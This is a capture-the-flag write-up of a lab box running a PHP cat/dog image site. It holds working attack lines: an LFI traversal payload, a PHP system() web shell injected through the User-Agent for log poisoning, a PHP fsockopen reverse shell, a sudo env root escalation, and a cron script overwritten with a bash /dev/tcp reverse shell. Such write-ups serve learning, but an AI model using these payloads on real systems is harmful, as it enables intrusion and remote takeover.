Introduction

I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats!

This is a medium rated box, and right up front I’ll say that I had to look up some hints for it. Let’s begin.

Webserver

The page description says that it’s a website for viewing pictures of cats and dogs, so that’s obviously a good place to start. I did run an nmap scan anyway but it’s not really relevant.

The website begins with a query of the form:

http://10.10.77.47/?view=

Where the view parameter is either dog or cat. Entering anything else provokes a warning about the query needing to be a dog or cat.

I figured this was an LFI challenge (which it is), but I had some trouble getting it to work.

Null bytes? Nope.

Basic path traversal wasn’t working, and I found that entering a query like

http://10.10.77.47/?view=/etc/passwd%00dog

satisfied the dog/cat filter requirement, but only provoked errors about not being able to include the file - so null bytes actually didn’t work.

After some trial and error, googling and failing, I consulted a guide and it turned out that the required query is something like:

GET /?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../etc/passwd&ext=

which returns a base64 encoded string - useable, but annoying. We can also get the apache2 access log, which I tried to poison. I was able to insert PHP code into the log file using netcat, but didn’t manage to get it to execute.

Actually the first file I looked at was the source code for the webpage - index.php. This showed the code used to add the .php extension and from there I figured out how to bypass it (by putting &ext= in the URL).

I had done a little LFI before, but this was a little more complex than the simpler types I had previously seen.

User Agent

So now I had my LFI - but I could only read a single file at a time, and only a limited set of them at that (as www-data). I had to go back to the guide again to learn that using Burp Suite we can put the payload

<?php system($_GET['cmd']);?>

into the User-Agent, and from then on we can execute commands as follows:

GET /?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../var/log/apache2/access&ext=.log&cmd=id

So then I had RCE, which was a big step forward. I hadn’t seen this User-Agent technique before either.

Shell

Once we’ve got RCE we can then send this command to get a shell:

GET /?view=php://filter/resource=./dog/../../../../var/log/apache2/access&ext=.log&cmd=php+-r+'$sock%3dfsockopen("10.9.10.123",1234)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b'

On the box - or rather, IN the box

On the box we can run linpeas, which shows that:

  1. we’re in a docker container, and
  2. we can run env as root without a password

That means we can do:

$ sudo env /bin/sh -p

And become root (in the container.) From there, the first 3 flags are easy to obtain (although I think at this point I had two already? I don’t recall).

The last one

The final flag was on the box, and not in the container. Some enumeration revealed a backup folder in /opt along with a shell script running on a frequent schedule. We could replace the contents of the backup.sh as follows:

echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.9.10.123/1235 0>&1'" >> backup.sh

And then it was just a matter of waiting a little for the schedule to run.

Overall

This box was a little tougher than I thought it would be and I didn’t do it all on my own. I did give it a pretty good go though, and I definitely learned some things.